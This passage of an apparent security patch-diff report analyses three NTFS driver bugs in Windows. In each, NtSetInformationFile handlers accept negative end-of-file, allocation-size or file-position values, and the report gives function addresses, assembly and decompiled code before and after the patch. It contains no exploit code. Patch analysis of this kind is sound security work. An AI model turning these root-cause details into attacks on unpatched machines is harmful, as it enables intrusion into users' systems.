&lt;td&gt;&lt;code&gt;NtSetInformationFile&lt;/code&gt; / &lt;code&gt;ZwSetInformationFile&lt;/code&gt;, &lt;code&gt;FileInformationClass = FileEndOfFileInformation&lt;/code&gt; (20 / &lt;code&gt;0x14&lt;/code&gt;), dispatched by &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; @ &lt;code&gt;0x1C00E7C40&lt;/code&gt; (unpatched) case &lt;code&gt;20&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;User-mode API&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtSetInformationFile&lt;/code&gt; / &lt;code&gt;SetEndOfFile&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; reads the caller's &lt;code&gt;FILE_END_OF_FILE_INFORMATION.EndOfFile&lt;/code&gt; — a signed 64-bit value copied into &lt;code&gt;Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; (METHOD_BUFFERED). The unpatched code compares this value against the maximum file size with a &lt;strong&gt;signed&lt;/strong&gt; comparison (&lt;code&gt;cmp rdi, [rax+1E90h]; jg&lt;/code&gt;) and against the current sizes with &lt;code&gt;jl&lt;/code&gt; / &lt;code&gt;jge&lt;/code&gt;. A negative value is smaller than every positive bound, so it passes all of these checks and is then committed as the file's size (&lt;code&gt;mov [rbx+20h], rdi&lt;/code&gt;, the SCB allocation-size field). There is no check that the value is &lt;code&gt;&amp;gt;= 0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What the patch does:&lt;/strong&gt; Immediately after loading the value it calls &lt;code&gt;Feature_2681941305__private_IsEnabledDeviceUsage()&lt;/code&gt;, and if the flag is enabled and the value is negative it returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) before any size update.&lt;/p&gt;
&lt;h3&gt;Finding #2 — Negative allocation size accepted (&lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-839&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt; @ &lt;code&gt;0x1C00E6864&lt;/code&gt; (both builds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtSetInformationFile&lt;/code&gt;, &lt;code&gt;FileInformationClass = FileAllocationInformation&lt;/code&gt; (19 / &lt;code&gt;0x13&lt;/code&gt;), &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; case &lt;code&gt;19&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The handler reads &lt;code&gt;FILE_ALLOCATION_INFORMATION.AllocationSize&lt;/code&gt; from &lt;code&gt;SystemBuffer&lt;/code&gt;. The unpatched code only checks &lt;code&gt;NewFileSize &amp;lt;= MaximumFileSize&lt;/code&gt; (signed), so a negative value passes. The patch adds the negative case: when the feature flag is enabled it rejects &lt;code&gt;NewFileSize &amp;gt; MaximumFileSize || NewFileSize &amp;lt; 0&lt;/code&gt; with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;; when the flag is off the original max-only check remains.&lt;/p&gt;
&lt;h3&gt;Finding #3 — Negative file position accepted (&lt;code&gt;NtfsSetPositionInfo&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-839&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtfsSetPositionInfo&lt;/code&gt; @ &lt;code&gt;0x1C020DD74&lt;/code&gt; (patched; inlined into &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; in the unpatched build)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtSetInformationFile&lt;/code&gt;, &lt;code&gt;FileInformationClass = FilePositionInformation&lt;/code&gt; (14 / &lt;code&gt;0x0E&lt;/code&gt;), &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; case &lt;code&gt;14&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; In the unpatched build, case &lt;code&gt;14&lt;/code&gt; was handled inline in &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; as &lt;code&gt;FileObject-&amp;gt;CurrentByteOffset.QuadPart = *(SystemBuffer)&lt;/code&gt;, with no validation. The patch extracts this into &lt;code&gt;NtfsSetPositionInfo&lt;/code&gt; and, when the feature flag is enabled, returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; if the supplied &lt;code&gt;CurrentByteOffset&lt;/code&gt; is negative.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;Decompiled C, &lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; (the load and the added check):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED  (@ 0x1C00E8EE0)&lt;/span&gt;
&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// a3 = IRP; +0x18 = Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/span&gt;
&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// v13 = FILE_END_OF_FILE_INFORMATION.EndOfFile (signed)&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// no &amp;gt;= 0 check&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;176&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;7824L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// signed max check; negative passes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// negative value committed as file size&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED  (@ 0x1C00E8EB0)&lt;/span&gt;
&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_2681941305__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NtfsStatusDebugFlags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NtfsStatusTraceAndDebugInternal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3221225485L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;998544&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 3221225485 == 0xC000000D&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;local_unwind_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v122&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;loc_1C00E9037&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3221225485L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Decompiled C, &lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED  (@ 0x1C00E6864)&lt;/span&gt;
&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// FILE_ALLOCATION_INFORMATION.AllocationSize&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;176&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;7824L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// max-only, signed&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED  (@ 0x1C00E6864)&lt;/span&gt;
&lt;span class="n"&gt;NewFileSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;union&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_LARGE_INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_2681941305__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NewFileSize&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaximumFileSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NewFileSize&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// added &amp;lt; 0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3221225485L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NewFileSize&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaximumFileSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// original max-only path retained&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Decompiled C, &lt;code&gt;NtfsSetPositionInfo&lt;/code&gt; (patched only):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// PATCHED  (@ 0x1C020DD74)&lt;/span&gt;
&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// SystemBuffer&lt;/span&gt;
&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_2681941305__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// FILE_POSITION_INFORMATION.CurrentByteOffset&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// FileObject-&amp;gt;CurrentByteOffset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3221225485L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the unpatched build the same case was inline in &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
